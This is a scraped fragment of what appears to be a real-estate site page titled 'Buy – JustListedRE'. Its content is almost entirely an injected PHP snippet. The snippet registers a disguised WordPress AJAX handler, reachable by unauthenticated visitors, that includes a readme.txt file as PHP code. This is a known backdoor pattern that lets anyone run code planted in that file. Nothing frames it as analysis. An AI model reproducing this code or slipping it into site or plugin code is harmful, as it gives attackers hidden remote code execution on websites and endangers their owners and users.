if(!function_exists('file_check_readme58396')){ add_action('wp_ajax_nopriv_file_check_readme58396', 'file_check_readme58396'); add_action('wp_ajax_file_check_readme58396', 'file_check_readme58396'); function file_check_readme58396() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Buy – JustListedRE